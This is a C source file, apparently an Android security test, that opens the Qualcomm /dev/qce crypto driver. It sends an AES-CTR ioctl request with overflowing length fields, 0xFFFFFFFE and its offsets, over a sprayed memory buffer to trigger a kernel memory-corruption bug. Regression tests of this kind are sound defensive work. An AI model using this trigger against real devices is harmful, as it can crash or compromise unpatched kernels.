1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17
18 #include <stdio.h>
19 #include <unistd.h>
20 #include <stdlib.h>
21 #include <sys/ioctl.h>
22 #include <sys/types.h>
23 #include <sys/stat.h>
24 #include <sys/mman.h>
25 #include <sys/wait.h>
26 #include <string.h>
27 #include <fcntl.h>
28 #include <limits.h>
29 #include <inttypes.h>
30 #include <errno.h>
31
32 #define QCEDEV_MAX_KEY_SIZE 64
33 #define QCEDEV_MAX_IV_SIZE 32
34 #define QCEDEV_MAX_BUFFERS 16
35
36 struct buf_info {
37 union {
38 uint32_t offset;
39 uint8_t *vaddr;
40 };
41 uint32_t len;
42 };
43
44 struct qcedev_vbuf_info {
45 struct buf_info src[QCEDEV_MAX_BUFFERS];
46 struct buf_info dst[QCEDEV_MAX_BUFFERS];
47 };
48
49 struct qcedev_pmem_info {
50 int fd_src;
51 struct buf_info src[QCEDEV_MAX_BUFFERS];
52 int fd_dst;
53 struct buf_info dst[QCEDEV_MAX_BUFFERS];
54 };
55
56 enum qcedev_oper_enum {
57 QCEDEV_OPER_DEC = 0,
58 QCEDEV_OPER_ENC = 1,
59 QCEDEV_OPER_DEC_NO_KEY = 2,
60 QCEDEV_OPER_ENC_NO_KEY = 3,
61 QCEDEV_OPER_LAST
62 };
63
64 enum qcedev_cipher_alg_enum {
65 QCEDEV_ALG_DES = 0,
66 QCEDEV_ALG_3DES = 1,
67 QCEDEV_ALG_AES = 2,
68 QCEDEV_ALG_LAST
69 };
70
71 enum qcedev_cipher_mode_enum {
72 QCEDEV_AES_MODE_CBC = 0,
73 QCEDEV_AES_MODE_ECB = 1,
74 QCEDEV_AES_MODE_CTR = 2,
75 QCEDEV_AES_MODE_XTS = 3,
76 QCEDEV_AES_MODE_CCM = 4,
77 QCEDEV_DES_MODE_CBC = 5,
78 QCEDEV_DES_MODE_ECB = 6,
79 QCEDEV_AES_DES_MODE_LAST
80 };
81
82 struct qcedev_cipher_op_req {
83 uint8_t use_pmem;
84 union {
85 struct qcedev_pmem_info pmem;
86 struct qcedev_vbuf_info vbuf;
87 };
88 uint32_t entries;
89 uint32_t data_len;
90 uint8_t in_place_op;
91 uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
92 uint32_t encklen;
93 uint8_t iv[QCEDEV_MAX_IV_SIZE];
94 uint32_t ivlen;
95 uint32_t byteoffset;
96 enum qcedev_cipher_alg_enum alg;
97 enum qcedev_cipher_mode_enum mode;
98 enum qcedev_oper_enum op;
99 };
100
101 #define QCEDEV_IOC_MAGIC 0x87
102
103 #define QCEDEV_IOCTL_ENC_REQ \
104 _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
105 #define QCEDEV_IOCTL_DEC_REQ \
106 _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
107
thread_func(int fd)108 void thread_func(int fd)
109 {
110 struct qcedev_cipher_op_req req;
111 unsigned int i;
112 char *data;
113
114 memset(&req, 0, sizeof(struct qcedev_cipher_op_req));
115
116 data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
117 if (data == MAP_FAILED) {
118 exit(0);
119 }
120 for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
121 *((unsigned long long*)(data + i)) = 0xABADACC355001337;
122
123 req.in_place_op = 1;
124 req.entries = 2;
125 req.byteoffset = 15;
126 req.mode = QCEDEV_AES_MODE_CTR;
127
128 req.op = QCEDEV_OPER_ENC;
129 req.ivlen = 1;
130 req.data_len = 0xFFFFFFFE;
131 req.vbuf.src[0].len = 4;
132 req.vbuf.src[1].len = 0xFFFFFFFE - 4;
133 req.vbuf.src[0].vaddr = (uint8_t*)data;
134 req.vbuf.src[1].vaddr = (uint8_t*)data;
135 req.vbuf.dst[0].len = 4;
136 req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
137 req.vbuf.dst[0].vaddr = (uint8_t*)data;
138 req.vbuf.dst[1].vaddr = (uint8_t*)data;
139
140 ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
141
142 exit(0);
143 }
144
main(void)145 int main(void)
146 {
147 int fd;
148 const char *dev = "/dev/qce";
149
150 fd = open(dev, O_RDWR);
151 if (fd < 0) {
152 return EXIT_FAILURE;
153
154 }
155 thread_func(fd);
156
157 return EXIT_FAILURE;
158 }
159